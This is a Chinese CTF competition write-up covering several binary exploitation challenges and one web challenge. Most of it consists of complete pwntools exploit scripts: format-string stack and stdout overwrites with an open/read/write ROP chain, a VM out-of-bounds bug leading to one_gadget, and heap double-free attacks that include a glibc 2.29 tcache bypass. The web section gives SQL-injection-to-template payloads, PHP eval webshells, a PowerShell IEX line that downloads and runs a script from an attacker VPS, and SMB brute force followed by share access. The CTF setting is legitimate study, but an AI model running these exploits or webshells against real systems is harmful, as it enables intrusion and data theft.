感谢 Vidar-Team、L-Team、CNSS 带来的高质量比赛。
Ru7n 师傅太强了,被带飞的感觉真爽~
pwnable.tw上
的unprintable
魔改,第5版了。。我原先解pwnable.tw上这道题用的是把bss
段上的stdout
改成了stderr
进行了泄露,这次这题也刚刚好用到了这个解法,不过这题禁用了execve
,但是可以多次printf
也不是什么大问题
一开始断点下在printf(buf)
那里,栈的情况
► 0x55b7cd5bfa20 call 0x55b7cd5bf780 0x55b7cd5bfa25 mov eax, dword ptr [rip + 0x2015e5] 0x55b7cd5bfa2b sub eax, 1 0x55b7cd5bfa2e mov dword ptr [rip + 0x2015dc], eax 0x55b7cd5bfa34 nop 0x55b7cd5bfa35 pop rbp 0x55b7cd5bfa36 ret 0x55b7cd5bfa37 push rbp 0x55b7cd5bfa38 mov rbp, rsp 0x55b7cd5bfa3b mov rax, qword ptr [rip + 0x2015de] 0x55b7cd5bfa42 mov ecx, 0 ───────────────────────────────────[ STACK ]──────────────────────────────────── 00:0000│ rbp rsp 0x7ffcc627f8c0 —▸ 0x7ffcc627f8e0 —▸ 0x7ffcc627f900 —▸ 0x55b7cd5bfb60 ◂— push r15 01:0008│ 0x7ffcc627f8c8 —▸ 0x55b7cd5bfafb ◂— mov edx, 6 02:0010│ 0x7ffcc627f8d0 ◂— 0x7fff000000000006 03:0018│ 0x7ffcc627f8d8 —▸ 0x55b7cd7c1060 ◂— '%216c%6$hhn' //name 04:0020│ 0x7ffcc627f8e0 —▸ 0x7ffcc627f900 —▸ 0x55b7cd5bfb60 ◂— push r15 05:0028│ 0x7ffcc627f8e8 —▸ 0x55b7cd5bfb51 ◂— mov eax, 0 06:0030│ 0x7ffcc627f8f0 —▸ 0x7ffcc627f9e8 —▸ 0x7ffcc62813cd ◂— './unprintableV' 07:0038│ 0x7ffcc627f8f8 ◂— 0x100000000
可以看到有两条这样的链0x7ffcc627f8c0 —▸ 0x7ffcc627f8e0 —▸ 0x7ffcc627f900 —▸ 0x55b7cd5bfb60 ◂— push r15
,0x7ffcc627f8f0 —▸ 0x7ffcc627f9e8 —▸ 0x7ffcc62813cd ◂— './unprintableV'
,而且一开始还给了栈地址,完美啊
所以思路是先让03:0018│ 0x7ffcc627f8d8 —▸ 0x55b7cd7c1060 ◂— '%216c%6$hhn' //name
这里指向bss
段上的stdout
,然后把stdout
改为stderr
,看脸的时候到了,1/16的概率,注意下就是因为close(1)
了,printf大于0x2000
的字符数好像写不进去,所以爆破的时候用p16(0x1680)
或者p16(0x0680)
,成功的话printf
就可以泄露啦,后面就随便玩了,:P
这次脸超级好,3次成功了两次,有点不太敢相信
exp为:
from pwn import * context.arch='amd64' def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr))) def main(host,port=10397): global p if host: p = remote(host,port) else: p = process("./unprintableV") # p = process("./pwn",env={"LD_PRELOAD":"./x64_libc.so.6"}) # gdb.attach(p) debug(0x000000000000A20) p.recvuntil("gift: ") stack = int(p.recvuntil('\n',drop=True),16) info("stack : " + hex(stack)) p.recvuntil("printf test!") payload = "%{}c%6$hhn".format(stack&0xff) p.send(payload) pause() payload = "%{}c%10$hhn".format(0x20) p.send(payload) pause() payload = "%{}c%9$hn".format(0x1680) p.send(payload) pause() payload = "+%p-%3$p*" p.send(payload.ljust(0x12c,"\x00")) p.recvuntil('+') elf_base = int(p.recvuntil('-',drop=True),16)+0x10 info("elf : " + hex(elf_base)) libc.address = int(p.recvuntil('*',drop=True),16)-0x110081 success('libc : '+hex(libc.address)) pause() ret_addr = stack-0x20 payload = "%{}c%12$hn".format((stack-0x18)&0xffff) p.send(payload.ljust(0x12c,"\x00")) # offset = 43 payload = "%{}c%43$hn".format((elf_base)&0xffff) p.send(payload.ljust(0x12c,"\x00")) payload = "%{}c%12$hn".format((stack-0x18+2)&0xffff) p.send(payload.ljust(0x12c,"\x00")) # offset = 43 payload = "%{}c%43$hn".format((elf_base>>16)&0xffff) p.send(payload.ljust(0x12c,"\x00")) payload = "%{}c%12$hn".format((stack-0x18+4)&0xffff) p.send(payload.ljust(0x12c,"\x00")) # offset = 43 payload = "%{}c%43$hn".format((elf_base>>32)&0xffff) p.send(payload.ljust(0x12c,"\x00")) payload = "%{}c%12$hn".format(ret_addr&0xffff) p.send(payload.ljust(0x12c,"\x00")) # 0x0000000000000bbd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret payload = "%{}c%43$hn".format((elf_base-0x202070+0xbbd)&0xffff) payload = payload.ljust(0x20,"\x00") payload += "/flag"+'\x00'*3 # 0x00000000000a17e0: pop rdi; ret; # 0x0000000000023e6a: pop rsi; ret; # 0x00000000001306d9: pop rdx; pop rsi; ret; p_rdi = libc.address+0x00000000000a17e0 p_rsi = libc.address+0x0000000000023e6a p_rdx_rsi = libc.address+0x00000000001306d9 rop = p64(p_rdi)+p64(elf_base+0x10)+p64(p_rsi)+p64(0)+p64(libc.symbols["open"]) rop += p64(p_rdi)+p64(1)+p64(p_rdx_rsi)+p64(0x100)+p64(elf_base-0x70+0x300)+p64(libc.symbols["read"]) rop += p64(p_rdi)+p64(2)+p64(p_rdx_rsi)+p64(0x100)+p64(elf_base-0x70+0x300)+p64(libc.symbols["write"]) payload += rop p.send(payload) p.interactive() if __name__ == "__main__": libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False) # libc = ELF("./x64_libc.so.6",checksec=False) # elf = ELF("./unprintableV",checksec=False) main(args['REMOTE'])
题目有个简单的指令集,有个简单的栈结构(好像是这样
00000000 stack struc ; (sizeof=0x14, mappedto_6) 00000000 rsp_ dq ? 00000008 rbp_ dq ? 00000010 len dd ? 00000014 stack ends
然后就是指令集里有几个函数有bug
case '(': ++*idx; if ( !(unsigned int)clear_stack(v7, v6) )// !!! exit(0); return result;
case '4': ++*idx; sub_E17(v7); // ! break;
case '!': sub_BB9(v7); // ! ++*idx; break;
思路是先两次((
让结构体里的rsp_
越界
pwndbg> stack 30 00:0000│ rsp 0x7ffef245fbe0 —▸ 0x558692b96148 ◂— 0x2 01:0008│ 0x7ffef245fbe8 —▸ 0x558692b96150 —▸ 0x7ffef245fca0 ◂— 0x11486eca0 !!!! 02:0010│ 0x7ffef245fbf0 —▸ 0x558692b96140 ◂— 0x2 03:0018│ 0x7ffef245fbf8 —▸ 0x558692b96040 ◂— 0x3400000000562828 /* '((V' */ 04:0020│ 0x7ffef245fc00 ◂— 0x0 ... ↓ 0e:0070│ 0x7ffef245fc50 ◂— 0x100000100 0f:0078│ 0x7ffef245fc58 ◂— 0xe11547f75d191800 10:0080│ rbp 0x7ffef245fc60 —▸ 0x7ffef245fc80 —▸ 0x558692995430 ◂— push r15 11:0088│ 0x7ffef245fc68 —▸ 0x558692994977 ◂— mov edi, 0 12:0090│ 0x7ffef245fc70 —▸ 0x7ffef245fd60 ◂— 0x1 13:0098│ 0x7ffef245fc78 ◂— 0xe11547f75d191800 14:00a0│ 0x7ffef245fc80 —▸ 0x558692995430 ◂— push r15 15:00a8│ 0x7ffef245fc88 —▸ 0x7fb21429f830 (__libc_start_main+240) ◂— mov edi, eax 16:00b0│ 0x7ffef245fc90 ◂— 0x1 17:00b8│ 0x7ffef245fc98 —▸ 0x7ffef245fd68 —▸ 0x7ffef246120c ◂— './babyrop' 18:00c0│ 0x7ffef245fca0 ◂— 0x11486eca0
两次((
后:01:0008│ 0x7ffef245fbe8 —▸ 0x558692b96150 —▸ 0x7ffef245fca0 ◂— 0x11486eca0 !!!!
,可以看到已经越界了
然后就是利用栈上的0x7fb21429f830 (__libc_start_main+240)
和那几个有bug的函数进行加加减减,最后把返回地址给改为one_gadget
► 0x558692995428 leave 0x558692995429 ret ↓ 0x7fb2142c426a <do_system+1098> mov rax, qword ptr [rip + 0x37ec47] 0x7fb2142c4271 <do_system+1105> lea rdi, [rip + 0x147adf]
exp为:
from pwn import * context.arch='amd64' def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr))) def main(host,port=17676): global p if host: p = remote(host,port) else: p = process("./babyrop") # gdb.attach(p) debug(0x000000000000CB2) payload = "((V"+p32(0)+"44V"+p32(0x24a3a)+"!44444" p.send(payload.ljust(0x100,"\x00")) p.interactive() if __name__ == "__main__": main(args['REMOTE'])
这题在给了hint后,想了很久,然后想起今年国赛有一题是吧stdin
的fileno
改为666,然后利用scanf
和printf
把flag
打印出来,然后手动试了下这题,居然也可以。
这题有两个漏洞,一个是deleteNote
没有把指针置零,一个是encryptNode
函数的栈溢出,思路就是利用double free
修改stdin->fileno
为3,然后利用栈溢出partial overwirte
改encryptNode
返回地址到
.text:0000000000001147 mov eax, 0 .text:000000000000114C call _open .text:0000000000001151 mov cs:fd, eax .text:0000000000001157 mov eax, cs:fd .text:000000000000115D cmp eax, 0FFFFFFFFh
至于为什么可以open /flag
,是因为在encryptNode
返回时
RDI 0x7ffce9258610 ◂— 0x67616c662f /* '/flag' */ RSI 0x0 R8 0x7ffce92585f3 ◂— 0x1000000000a /* '\n' */ R9 0x0 R10 0x7f9c58fe5cc0 (_nl_C_LC_CTYPE_class+256) ◂— add al, byte ptr [rax] R11 0x246 R12 0x55bdf8ef4980 ◂— xor ebp, ebp R13 0x7ffce9258770 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7ffce9258670 ◂— 0x0 RSP 0x7ffce9258610 ◂— 0x67616c662f /* '/flag' */ RIP 0x55bdf8ef50e3 ◂— leave ───────────────────────────────────[ DISASM ]─────────────────────────────────── ► 0x55bdf8ef50e3 leave 0x55bdf8ef50e4 ret ↓ 0x55bdf8ef5147 mov eax, 0
RDI
会指向我们输入的内容,RSI
就是doSomeThing(seed, index)
的index
参数,都是可控的,所以跳到open
函数可以打开/flag
,然后在配合
__isoc99_scanf("%90s", name); printf("welcome!%s.\n", name);
这样就会把flag打印出来
[*] welcome!d3ctf{3z_FIL3N0~@TT@cK-WIth-ST@Ck_0V3RFI0W}.
由于攻击到stdin->fileno
我猜了两次地址,一次是堆地址,一次是libc地址,这样就1/256的几率,然后最后栈溢出的patial overwrite
又要来一次1/16,所以最后成功几率是1/4096,出题人说还可以更低,orz
exp为:
from pwn import * context.arch='amd64' def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr))) def cmd(command): p.recvuntil(">>") p.sendline(str(command)) def add(sz,content): cmd(1) p.recvuntil("size of your note >>") p.sendline(str(sz)) p.recvuntil("content >>") p.send(content) def enc(idx,sz,seed): cmd(3) p.sendlineafter("encrypt >>",str(idx)) p.sendlineafter("(max 0x50) >>",str(sz)) p.sendafter("seed >>",seed) def dele(idx): cmd(2) p.sendlineafter("delete >>",str(idx)) def main(host,port=24694): global p if host: p = remote(host,port) else: p = process("./ezfile") # p = process("./pwn",env={"LD_PRELOAD":"./x64_libc.so.6"}) # gdb.attach(p) debug(0x0000000000010E3) p.recvuntil("your name: ") p.sendline("A") add(0x10,p64(0)+p64(0x21)) add(0x10,p64(0)+p64(0x21)) # t = int(raw_input("guess: ")) t = 11 heap = (t << 12) | 0x00000000000120 # t = int(raw_input("guess: ")) t = 6 stdin_fileno = (t << 12) | 0x00000000000a70 # t = int(raw_input("guess: ")) t = 7 elf = (t << 12) | 0x000000000000147 dele(1) dele(0) dele(0) add(2,p16(heap)) add(0x10,p64(0)+p64(0x21)) add(0x18,p64(0)+p64(0x441)+p64(0)) dele(1) dele(0) dele(0) add(2,p16(heap+0x10)) add(0x10,p64(0)+p64(0x21)) add(0x10,p64(0)*2) dele(7) add(2,p16(stdin_fileno)) dele(0) dele(0) add(2,p16(heap+0x10)) add(1,"A") add(1,"A") add(1,"\x03") enc(20,0x6a,"/flag"+"\x00"*(0x63)+p16(elf)) p.recvuntil("welcome!",timeout=1) flag = p.recvuntil('.\n',timeout=1) info(flag) p.interactive() if __name__ == "__main__": for i in range(0x1000): try: main(args['REMOTE']) except Exception,err: p.close() print err continue
libc2.29有对tcache double free 进行check,这很蛋疼
#if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache != NULL && tc_idx < mp_.tcache_bins) { /* Check to see if it's already in the tcache. */ tcache_entry *e = (tcache_entry *) chunk2mem (p); /* This test succeeds on double free. However, we don't 100% trust it (it also matches random payload data at a 1 in 2^<size_t> chance), so verify it's not an unlikely coincidence before aborting. */ if (__glibc_unlikely (e->key == tcache)) //如果我们可以把e->key即chunk的bk指针修改掉,那就可以绕过这个check { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2"); /* If we get here, it was a coincidence. We've wasted a few cycles, but don't abort. */ } if (tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return; } } } #endif
题目就只有add
和dele
功能,dele
没清空指针,但是由于有这个check
在,有点难受,而且只能add
18次,想了很久很久,在快结束的前几个小时试了下功能3就是退出那个函数,发现报错了(堆块重叠了导致报错),报的是malloc_consolidate
的错,瞬间觉得有希望了,原因是
void init_() { void *ptr; // ST08_8 setbuf(stdout, 0LL); setbuf(stderr, 0LL); alarm(0x1Eu); ptr = malloc(0x1000uLL); printf("good present for African friends:0x%x\n", (unsigned int)(((unsigned __int16)ptr & 0xFF00) >> 8)); free(ptr); }
这里开始的初始话没有setbuf(stdin,0)
,于是乎在getchar
的时候会再堆上申请一个0x1000
大小的缓冲区,这样就不用浪费add
的次数去申请一个大堆块,再配合题目的dele
函数,就可以在限定次数下完成利用
先是
for i in range(8): add(0x78,"\x00"*0x78) for i in range(7): dele(i) dele(7) #fastbin cmd(3) p.recvuntil("sure?") p.send("0")
这样chunk7
被malloc_consolidate
合并,然后在add(0x68,"\x00"*0x68)
一下,以防释放那个缓冲区的时候和top_chunk
合并
wndbg> telescope 0x5625febf8060 18 00:0000│ 0x5625febf8060 —▸ 0x5625fec6a260 ◂— 0x0 01:0008│ 0x5625febf8068 —▸ 0x5625fec6a2e0 —▸ 0x5625fec6a260 ◂— 0x0 02:0010│ 0x5625febf8070 —▸ 0x5625fec6a360 —▸ 0x5625fec6a2e0 —▸ 0x5625fec6a260 ◂— 0x0 03:0018│ 0x5625febf8078 —▸ 0x5625fec6a3e0 —▸ 0x5625fec6a360 —▸ 0x5625fec6a2e0 —▸ 0x5625fec6a260 ◂— ... 04:0020│ 0x5625febf8080 —▸ 0x5625fec6a460 —▸ 0x5625fec6a3e0 —▸ 0x5625fec6a360 —▸ 0x5625fec6a2e0 ◂— ... 05:0028│ 0x5625febf8088 —▸ 0x5625fec6a4e0 —▸ 0x5625fec6a460 —▸ 0x5625fec6a3e0 —▸ 0x5625fec6a360 ◂— ... 06:0030│ 0x5625febf8090 —▸ 0x5625fec6a560 —▸ 0x5625fec6a4e0 —▸ 0x5625fec6a460 —▸ 0x5625fec6a3e0 ◂— ... 07:0038│ 0x5625febf8098 —▸ 0x5625fec6a5e0 ◂— 0x30 /* '0' */ 08:0040│ 0x5625febf80a0 —▸ 0x5625fec6b5f0 ◂— 0x0 09:0048│ 0x5625febf80a8 ◂— 0x0 ... ↓ pwndbg> telescope 0x5625fec6a5d0 00:0000│ 0x5625fec6a5d0 ◂— 0x0 01:0008│ 0x5625fec6a5d8 ◂— 0x1011 02:0010│ 0x5625fec6a5e0 ◂— 0x30 /* '0' */ 03:0018│ 0x5625fec6a5e8 ◂— 0x0 ... ↓
我们可以看到chunk7
和getchar
申请的缓冲区重叠,也正是如此,我们可以利用getchar
来修改chunk7
的bk
指针,然后就是
dele(7) add(0x68,"\x00"*0x68) dele(7) cmd(3) p.recvuntil("sure?") p.send("\x00"*0xe) dele(7)
可以看到成功double free,堆上也有了libc
的指针
tcachebins 0x70 [ 2]: 0x55e3221f45e0 ◂— 0x55e3221f45e0 0x80 [ 7]: 0x55e3221f4560 —▸ 0x55e3221f44e0 —▸ 0x55e3221f4460 —▸ 0x55e3221f43e0 —▸ 0x55e3221f4360 —▸ 0x55e3221f42e0 —▸ 0x55e3221f4260 ◂— 0x0 unsortedbin all: 0x55e3221f4640 —▸ 0x7f6ba8af9ca0 (main_arena+96) ◂— 0x55e3221f4640
后面就是泄露libc
和getshell
了,要注意add
的次数就好,泄露的时候还是有点看脸,不过1/16的几率多跑几次就好
exp为:
from pwn import * def cmd(c): p.recvuntil("3.exit") p.sendline(str(c)) def add(sz,content): cmd(1) p.recvuntil("size:") p.sendline(str(sz)) p.recvuntil("content:") p.send(content) def dele(idx): cmd(2) p.recvuntil("index:") p.sendline(str(idx)) def main(host,port=20508): global p if host: p = remote(host,port) else: # p = process("./new_heap") p = process("./new_heap",env={"LD_PRELOAD":"./libc.so.6"}) gdb.attach(p) p.recvuntil("friends:") heap = (int(p.recvuntil("\n",drop=True),16)>>4)<<12 for i in range(8): add(0x78,"\x00"*0x78) for i in range(7): dele(i) dele(7) cmd(3) p.recvuntil("sure?") p.send("0") add(0x68,"\x00"*0x68) dele(7) add(0x68,"\x00"*0x68) dele(7) cmd(3) p.recvuntil("sure?") p.send("\x00"*0xe) guess = int(raw_input("guess?")) # guess = 7 stdout = (guess << 12) | 0x760 add(0x58,p16(stdout-0x10)) dele(7) add(0x68,p16(heap+0x650)) add(0x68,"\x00"*0x68) add(0x68,"\x00"*0x68) add(0x68,b"\x00"*0x10+p64(0xfbad1800)+p64(0)*3+b'\x00') p.recv(8) libc.address = u64(p.recv(8))-0x3b5890 success('libc : '+hex(libc.address)) dele(7) for i in range(13): cmd(3) cmd(3) p.recvuntil("sure?") p.send(p64(libc.symbols["__malloc_hook"]-0x23)) add(0x68,"\x00"*0x68) add(0x68,b"\x00"*0x13+p64(libc.address+0xdf212)) cmd(1) p.recvuntil("size:") p.sendline(str(0)) p.interactive() if __name__ == "__main__": libc = ELF("./libc.so.6",checksec=False) main(args["REMOTE"])
平台进不去,之前忘记截图,就只写一下大致思路吧。
题目很简洁,有登录注册,还有个莫名其妙的上传,对文件没有任何限制,但是直接传到 /tmp 下了,而且过滤了 ..
。
Profile 处有显示出用户名,可能存在二次注入。另外,渲染用的是 smarty。
Hi, wywwzjj, hope you have a good experience in this ctf game
you must get a RCE Bug in this challenge
可看到注册时用户名、密码都没有经过任何处理,取出来时有简单过滤,很好绕。
jkl2' uni{on se{lect 233#
要想打出模板注入还是麻烦点,过滤掉了 {}
,这里卡了一下。
既然都能执行 SQL,为何不利用一下呢?
uni{on sel{lect 0x7b7b7068707d7d6576616c28245f4745545b315d293b7b7b2f7068707d7d#
看到 flag 还是震惊了一下,pop chain???
随手一试:
Warning: include(): data:// wrapper is disabled in the server configuration by allow_url_include=0 in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1 Warning: include(data://...@<?php): failed to open stream: no suitable wrapper could be found in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1 Warning: include(): Failed opening 'data://...@<?php' for inclusion (include_path='.;C:\Users\Public\Videos;\c:\php\includes;c:\php\pear;') in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1
扫目录看到了 .git,以及 /webdav,想起曾经有人提过 webdav 打 RFI 的姿势。
docker run -v ~/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
到这一步就能 RCE 了,不过 flag 还在里头呢。
Windows NT 172_19_97_4 10.0 build 14393 (Windows Server 2016) AMD64
包含 shell 的时候遇到一点麻烦,估计是 Defender 之类的安全软件在作祟,干掉了 $_POST[] 这种形式的,那就
@<?php eval($_POST{1}); @<?php eval(base64_decode(编码一个eval));
socks5 代理一直出不来,直接搞个 powshell 进行了一下端口扫描。
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://vps/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 172.19.97.8
得到结果:
Hostname : 172.19.97.8
alive : True
openPorts : {3389, 445, 139, 135}
closedPorts : {443, 23, 646, 3306...}
filteredPorts : {80}
finishTime : 11/24/2019 11:48:02 AM
队友尝试爆了下 3389,没成功,我搭了下车,拿其他师傅传的 hydra 直接爆 445 居然成功了。
结合之前的提示,然后就是利用 smb。后面发现压根就不用密码???
net use \\172.19.97.8\C$ type \\172.19.97.8\C$\Users\Administrator\Desktop\flag.txt